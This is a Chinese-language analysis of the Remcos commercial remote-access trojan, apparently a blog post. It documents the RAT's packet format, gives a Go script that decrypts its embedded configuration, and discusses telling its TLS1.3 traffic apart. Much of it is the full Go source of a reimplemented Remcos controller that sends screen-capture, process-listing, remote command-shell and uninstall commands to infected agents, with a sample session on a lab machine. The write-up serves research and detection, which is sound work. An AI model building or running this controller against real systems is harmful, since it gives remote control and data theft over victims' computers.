最近,在浏览网络中威胁情报信息的时候,无意间发现多个APT组织均会使用Remcos商业木马作为远控程序窃取数据,于是,笔者就尝试了解和使用了Remcos商业木马,在模拟使用过程中,发现此商业木马使用起来确实还不错,而且目前还在维护更新,难怪会被众多APT组织青睐。
本着“既然Remcos商业木马被众多APT组织青睐,想必网络中肯定还有更多的Remcos商业木马的使用案例,因此,围绕Remcos商业木马的攻防技术研究肯定是有意义的”的思想,笔者从如下几个角度对Remcos商业木马进行了剖析:
相关Remcos商业木马使用情况如下:
为了更好的理解Remcos远控的历史通信模型,笔者查阅了大量资料,从如下几个角度进行了尝试:
结合各类资料,笔者对Remcos远控的通信模型进行了梳理,梳理情况如下:
相关截图如下:
尝试从官网下载Remcos最新免费版远控程序,深入研究其通信模型,梳理发现,此版本支持两种通信模型:
在Remcos最新免费版远控程序中配置TLS1.3通信协议模型时,需要手动填写一个密码**(备注:通过查看TLS1.3通信协议原理,发现TLS1.3是不需要手动填写密码的,因此推测此密钥主要用于TLS1.3通信链接建立完成后的数据校验)**。
相关截图如下:
在Remcos最新免费版远控程序中配置socket套接字通信协议模型时,只需取消“Secure Connection(TLS1.3)”选项即可。
相关截图如下:
通过对通信数据包格式进行剖析,梳理通信数据格式如下:
#数据包1
24 04 ff 00 #固定魔术值
0c 00 00 00 #后续有效数据大小
01 00 00 00 #有效数据-指令编号
30 7c 1e 1e 1f 7c 33 30 #有效数据-数据载荷
#数据包2
24 04 ff 00 #固定魔术值
64 00 00 00 #后续有效数据大小
4c 00 00 00 #有效数据-指令编号
#有效数据-数据载荷
30
7c 1e 1e 1f 7c #分隔符“|...|”
43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 61 00 64 00 6d 00 69 00 6e 00 5c 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 5c 00 72 00 65 00 6d 00 63 00 6f 00 73 00 5f 00 62 00 2e 00 65 00 78 00 65 00
7c 1e 1e 1f 7c #分隔符“|...|”
36 33
7c 1e 1e 1f 7c #分隔符“|...|”
39 38 36 37 30 35 32 33
相关截图如下:
为了能够更好的对Remcos远控程序进行攻防对抗及预警发现,笔者准备从取证分析角度对此远控程序Agent端木马进行剖析:
通过对Remcos远控程序进行使用分析,发现此Remcos远控程序的整体操作确实很人性化、很流畅,经过官方7年的升级迭代,支持的指令也很丰富;由于使用的是免费版,Agent端运行后会弹出一个小框,因此此版本更多的是用于演示效果。
Agent端运行截图:
控制端运行截图如下:
通过分析,发现Agent端样本运行后,将从“SETTINGS”资源段中读取并解密配置信息,配置信息中包括了:外链IP、外链端口以及其他的配置项等。
配置信息解密流程如下:
备注:在分析过程中,笔者查阅了网络中的分析报告,发现不同报告中的不同Remcos版本均采用了相同的配置信息加密方式,因此,笔者推测Remcos历史版本至最新版本均采用统一的配置信息加密方式。
Remcos-v4.9.3远控程序Agent端木马代码截图如下:
加密配置信息数据:
解密配置信息数据:
为实现快速解密,可基于CyberChef工具或编写解密脚本对“SETTINGS”资源段进行解密:
package main
import (
"crypto/rc4"
"fmt"
"io/ioutil"
)
func main() {
file_in := "C:\\Users\\admin\\Desktop\\remcos_a_SETTINGS"
fileData, err := ioutil.ReadFile(file_in)
if err != nil {
fmt.Println("Error reading file:", err)
return
}
key_len := fileData[0]
key := fileData[1 : key_len+1]
cipherText := fileData[key_len+1:]
// 创建解密器
decipher, err := rc4.NewCipher(key)
if err != nil {
panic(err)
}
// 解密密文
decryptedText := make([]byte, len(cipherText))
decipher.XORKeyStream(decryptedText, cipherText)
ioutil.WriteFile(file_in+"decrypt", decryptedText, 0664)
}
在分析木马加密通信数据的过程中,笔者发现了多个与常规TLS解密有一些差异的地方:
由于笔者从未对TLS1.3与TLS1.2的区别进行过对比,因此在通信解密阶段走了不少弯路均无功而返,使用了多种方式对其通信数据进行解密发现均无法解密成功。
相关截图如下:
通过查询网络中的资料《SSL/TLS、对称加密和非对称加密和TLSv1.3》,发现TLS1.3不仅对通信数据进行了加密,还对握手阶段的数据进行了加密。
相关对比截图如下:
尝试构建程序模拟TLS1.3与TLS1.2通信,研究TLS1.3与TLS1.2的通信解密方法如下:
”TLS1.2-私钥解密“相关截图:
”TLS1.2-CLIENT_RANDOM形式的Master-Secret解密“相关截图:
”TLS1.3-CLIENT_HANDSHAKE_TRAFFIC_SECRET、SERVER_HANDSHAKE_TRAFFIC_SECRET、CLIENT_TRAFFIC_SECRET_0、SERVER_TRAFFIC_SECRET_0形式的Master-Secret解密“相关截图:
由于暂时无法对此样本的通信数据进行解密,因此只能从加密数据角度对此样本通信行为进行检测识别,通过对socket套接字通信过程与TLS1.3通信过程进行对比,发现可从如下角度对加密通信进行识别:
通过对此样本的通信行为进行分析,笔者发现在Remcos-v4.9.3版本程序socket套接字通信过程中:
通过对此样本的通信行为进行分析,笔者发现在Remcos-v4.9.3版本程序TLS1.3通信过程中:
为了更好的对Remcos-v4.9.3版本远控程序的通信模型进行剖析,常规逻辑是对Agent端程序进行逆向分析、动态调试,但笔者考虑此Agent端程序的功能复杂,若采用此种方式,势必会花费大量的时间,为了能够快速梳理出各功能的响应指令(1.控制端界面指令;2.Agent端指令编号)及返回数据,笔者从如下角度对此问题进行了考虑:
因此,基于上述思路,笔者尝试模拟构建了Remcos-v4.9.3远控程序的控制端,并可实现对部分指令的模拟复现。
screen_capture指令响应后返回的截图:
场景模拟实操:
F:\GolandProjects\Client_Remcos>Client_Remcos.exe
Server started. Listening on 0.0.0.0:8080
初始化连接......
请输入指令:
help
screen_capture:截屏
process_manager:进程管理
command_line:执行命令行
close:关闭Agent进程
uninstall:卸载Agent
exit:退出Client
请输入指令:
process_manager
current process PID:1580
Process Name Path PID
System 4
smss.exe 316
csrss.exe 404
wininit.exe 444
services.exe 544
lsass.exe 564
lsm.exe 572
svchost.exe 680
svchost.exe 744
svchost.exe 816
svchost.exe 892
svchost.exe 956
svchost.exe 1092
HaozipSvc.exe 1220
svchost.exe 1356
spoolsv.exe 1540
svchost.exe 1620
VGAuthService.exe 1984
vm3dservice.exe 1588
vmtoolsd.exe 940
WmiPrvSE.exe 2536
SearchIndexer.exe 2940
svchost.exe 2992
svchost.exe 3340
svchost.exe 652
msdtc.exe 1328
csrss.exe 2892
winlogon.exe 3504
vm3dservice.exe 3980
taskhost.exe C:\Windows\System32\taskhost.exe 3136
dwm.exe C:\Windows\System32\dwm.exe 2292
explorer.exe C:\Windows\explorer.exe 1640
vmtoolsd.exe C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 3120
svchost.exe 1460
ProcessHacker.exe C:\Program Files\Process Hacker 2\ProcessHacker.exe 1120
remcos_c.exe C:\Users\admin\Desktop\remcos_c.exe 1580
conhost.exe C:\Windows\System32\conhost.exe 5504
请输入指令:
command_line
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\>dir
Volume in drive C has no label.
Volume Serial Number is A4EF-9C64
Directory of C:\
2009/06/11 05:42 24 autoexec.bat
2009/06/11 05:42 10 config.sys
2009/07/14 10:37 <dir> PerfLogs
2023/12/10 21:49 <dir> Program Files
2023/03/25 12:46 <dir> Users
2023/12/10 21:49 <dir> Windows
2 File(s) 34 bytes
4 Dir(s) 55,032,639,488 bytes free
C:\>ipconfig
Windows IP Configuration
Ethernet adapter Bluetooth ��������:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter ��������:
Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::50a0:a823:67:d3ca%11
IPv4 Address. . . . . . . . . . . : 192.168.126.140
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Tunnel adapter isatap.{53110CDC-B297-4DEF-B498-D66141DF7DB6}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter isatap.localdomain:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain
C:\>whoami
win-5nxxxxxxx7b\admin
C:\>exit
请输入指令:
help
screen_capture:截屏
process_manager:进程管理
command_line:执行命令行
close:关闭Agent进程
uninstall:卸载Agent
exit:退出Client
请输入指令:
screen_capture
请输入指令:
screen_capture output:截屏保存于01.png文件中
请输入指令:
exit
F:\GolandProjects\Client_Remcos>
代码结构如下:
package main
import (
"Client_Remcos/remcos_xx"
"bufio"
"encoding/hex"
"fmt"
"net"
"os"
)
func main() {
client_Remcos("0.0.0.0", "8080")
}
func client_Remcos(address, port string) {
// 创建监听器
listener, err := net.Listen("tcp", address+":"+port)
if err != nil {
fmt.Println("Error listening:", err.Error())
return
}
defer listener.Close()
fmt.Println("Server started. Listening on " + address + ":" + port)
for {
conn, err := listener.Accept()
if err != nil {
fmt.Println("Error accepting connection:", err.Error())
return
}
// 处理服务端连接
go handle_Remcos_Connection(conn)
}
}
func handle_Remcos_Connection(conn net.Conn) {
defer conn.Close()
recvdata, err := remcos_xx.RecvBuf(conn)
if err != nil {
fmt.Println(err.Error())
panic(0)
}
command := remcos_xx.ParseCommand(recvdata[:4])
switch hex.EncodeToString(command) {
case "0000004b":
fmt.Println("初始化连接......")
remcos_xx.Initconnect(conn)
go remcos_xx.Heartbeat(conn)
case "00000010":
remcos_xx.Command_Screen_Capture(conn)
return
case "00000093":
remcos_xx.Command_Command_Line(conn)
return
}
for {
fmt.Println("请输入指令:")
reader := bufio.NewScanner(os.Stdin)
if reader.Scan() {
text := reader.Text()
switch text {
case "screen_capture":
sendbuf, _ := hex.DecodeString("100000003133363339313535327c1e1e1f7c35307c1e1e1f7c307c1e1e1f7c2d317c1e1e1f7c30")
remcos_xx.Sendbuf(conn, sendbuf)
case "process_manager":
sendbuf, _ := hex.DecodeString("06000000")
remcos_xx.Sendbuf(conn, sendbuf)
recvdata, err = remcos_xx.RecvBuf(conn)
if err != nil {
fmt.Println(err.Error())
panic(0)
}
command = remcos_xx.ParseCommand(recvdata[:4])
if hex.EncodeToString(command) == "0000004f" {
remcos_xx.Command_Process_Manager(recvdata[4:])
}
case "command_line":
sendbuf, _ := hex.DecodeString("0e0000003133353730373732387c1e1e1f7c636d642e657865")
remcos_xx.Sendbuf(conn, sendbuf)
for {
reader = bufio.NewScanner(os.Stdin)
if reader.Scan() {
text = reader.Text()
if text == "exit" {
remcos_xx.Stop()
break
} else {
sendbuf = []byte{0x0E, 0x00, 0x00, 0x00, 0x31, 0x33, 0x35, 0x37, 0x30, 0x37, 0x37, 0x32, 0x38, 0x7C, 0x1E, 0x1E, 0x1F, 0x7C}
sendbuf = append(sendbuf, []byte(text)...)
sendbuf = append(sendbuf, []byte{0x7C, 0x1E, 0x1E, 0x1F, 0x7C}...)
remcos_xx.Sendbuf(conn, sendbuf)
}
}
}
case "close":
sendbuf, _ := hex.DecodeString("21000000")
remcos_xx.Sendbuf(conn, sendbuf)
os.Exit(0)
case "uninstall":
sendbuf, _ := hex.DecodeString("22000000")
remcos_xx.Sendbuf(conn, sendbuf)
os.Exit(0)
case "exit":
os.Exit(0)
case "help":
fmt.Println("\tscreen_capture:截屏")
fmt.Println("\tprocess_manager:进程管理")
fmt.Println("\tcommand_line:执行命令行")
fmt.Println("\tclose:关闭Agent进程")
fmt.Println("\tuninstall:卸载Agent")
fmt.Println("\texit:退出Client")
}
}
}
}
package common
import (
"bytes"
"encoding/binary"
"fmt"
"io"
"os"
)
func Reversedata(arr *[]byte) {
var temp byte
length := len(*arr)
for i := 0; i < length/2; i++ {
temp = (*arr)[i]
(*arr)[i] = (*arr)[length-1-i]
(*arr)[length-1-i] = temp
}
}
func BytesToInt(bys []byte) int {
bytebuff := bytes.NewBuffer(bys)
var data int32
binary.Read(bytebuff, binary.BigEndian, &data)
return int(data)
}
func IntToBytes(n int) []byte {
data := int32(n)
bytebuf := bytes.NewBuffer([]byte{})
binary.Write(bytebuf, binary.BigEndian, data)
return bytebuf.Bytes()
}
func checkPathIsExist(filename string) bool {
var exist = true
if _, err := os.Stat(filename); os.IsNotExist(err) {
exist = false
}
return exist
}
func Writefile(filename string, buffer string) {
var f *os.File
var err1 error
if checkPathIsExist(filename) { //如果文件存在
f, err1 = os.OpenFile(filename, os.O_CREATE, 0666) //打开文件
//fmt.Println(filename, "文件存在,更新文件")
} else {
f, err1 = os.Create(filename) //创建文件
//logger.Logger.Info("文件不存在")
}
//将文件写进去
_, err1 = io.WriteString(f, buffer)
if err1 != nil {
fmt.Println("写文件失败", err1)
return
}
_ = f.Close()
}
package remcos_xx
import (
"Client_Remcos/common"
"encoding/hex"
"fmt"
"net"
"sync"
)
var (
mu sync.Mutex
stopped bool
)
func Stop() {
mu.Lock()
stopped = true
mu.Unlock()
}
func RecvBuf(conn net.Conn) (buf_recv []byte, err error) {
for {
buffer := make([]byte, 4096)
bytesRead, err := conn.Read(buffer)
if err != nil {
fmt.Println("Error reading:", err.Error())
}
buf_recv = append(buf_recv, buffer[:bytesRead]...)
if hex.EncodeToString(buf_recv[:4]) == "2404ff00" {
hex_len := []byte{}
hex_len = append(hex_len, buf_recv[4:8]...)
common.Reversedata(&hex_len)
buflen := common.BytesToInt(hex_len)
if len(buf_recv)-8 >= buflen {
return buf_recv[8:], err
}
}
}
return
}
func ParseCommand(buf []byte) []byte {
command := []byte{}
command = append(command, buf...)
common.Reversedata(&command)
return command
}
func Sendbuf(conn net.Conn, buf []byte) {
sendbuf := []byte{0x24, 0x04, 0xff, 0x00}
buflen := len(buf)
hex_len := common.IntToBytes(buflen)
common.Reversedata(&hex_len)
sendbuf = append(sendbuf, hex_len...)
sendbuf = append(sendbuf, buf...)
conn.Write(sendbuf)
}
package remcos_xx
import (
"encoding/hex"
"fmt"
"net"
)
func Initconnect(conn net.Conn) {
sendbuf, _ := hex.DecodeString("01000000307c1e1e1f7c3330")
Sendbuf(conn, sendbuf)
_, err := RecvBuf(conn)
if err != nil {
fmt.Println(err.Error())
panic(0)
}
sendbuf, _ = hex.DecodeString("11000000")
Sendbuf(conn, sendbuf)
_, err = RecvBuf(conn)
if err != nil {
fmt.Println(err.Error())
panic(0)
}
}
package remcos_xx
import (
"encoding/hex"
"fmt"
"net"
"time"
)
func Heartbeat(conn net.Conn) {
for {
sendbuf, _ := hex.DecodeString("01000000307c1e1e1f7c3330")
Sendbuf(conn, sendbuf)
recvdata, err := RecvBuf(conn)
if err != nil {
fmt.Println(err.Error())
panic(0)
}
ParseCommand(recvdata[:4])
time.Sleep(30 * time.Second)
}
}
package remcos_xx
import (
"Client_Remcos/common"
"encoding/hex"
"fmt"
"net"
"strings"
)
func Command_Screen_Capture(conn net.Conn) {
recvdata, err := RecvBuf(conn)
if err != nil {
fmt.Println(err.Error())
panic(0)
}
//fmt.Println(hex.EncodeToString(recvdata))
hex_datas := strings.Split(hex.EncodeToString(recvdata[4:]), "7c1e1e1f7c")
filename, _ := hex.DecodeString(hex_datas[0])
bufdata, _ := hex.DecodeString(hex_datas[1])
fmt.Println("screen_capture output:" + "截屏保存于" + string(filename) + ".png" + "文件中")
common.Writefile(string(filename)+".png", string(bufdata))
}
package remcos_xx
import (
"bytes"
"fmt"
)
func Command_Process_Manager(buf_recv []byte) {
datas := bytes.Split(buf_recv, []byte{0x7c, 0x1e, 0x1e, 0x1f, 0x7c})
list_process := datas[0]
pid_current := datas[1]
fmt.Println("current process PID:" + string(pid_current))
fmt.Println("Process Name\tPath\tPID")
list_process = bytes.ReplaceAll(list_process, []byte{0x00}, []byte{})
list_process = bytes.ReplaceAll(list_process, []byte{0xa6, 0x30, 0x7c}, []byte("\n"))
list_process = bytes.ReplaceAll(list_process, []byte{0xa6}, []byte("\t"))
fmt.Println(string(list_process))
}
package remcos_xx
import (
"encoding/hex"
"fmt"
"net"
)
func Command_Command_Line(conn net.Conn) {
for {
mu.Lock()
if stopped {
mu.Unlock()
break // 退出循环
}
mu.Unlock()
buf_recv, err := RecvBuf(conn)
if err != nil {
fmt.Println(err.Error())
panic(0)
}
if (hex.EncodeToString(buf_recv[:4]) == "62000000") && (len(buf_recv) > 4) {
fmt.Print(string(buf_recv[4:]))
}
}
}